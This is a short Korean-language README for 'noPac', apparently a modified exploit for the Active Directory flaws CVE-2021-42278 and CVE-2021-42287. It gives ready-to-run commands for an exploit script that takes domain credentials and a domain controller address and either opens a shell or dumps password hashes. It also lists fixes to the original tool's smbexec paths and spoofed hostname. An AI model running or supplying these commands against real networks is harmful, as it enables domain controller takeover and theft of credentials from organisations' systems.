noPac

CVE-2021-42278 및 CVE-2021-42287 악용
원본 noPac 프로젝트는 구현에 약간 문제가 있어 로컬에서 성공하지 못했습니다. 그래서 sam-the-admin 프로젝트를 참고하여 수정했습니다.

사용

pip3 install -r requirements.txt
# GetShell
python3 exp.py "domain/Username:Passw0rd" -dc-ip 192.168.0.254 -shell
# DumpHash
python3 exp.py "domain/Username:Passw0rd" -dc-ip 192.168.0.254 -dump

수정

• 원본 작성자의 Kali 환경에서 smbexec 등의 실행 경로 문제를 수정했습니다.
• 모의 접속 호스트 이름 특성을 수정했습니다.

참고

https://github.com/cube0x0/noPac
https://github.com/WazeHell/sam-the-admin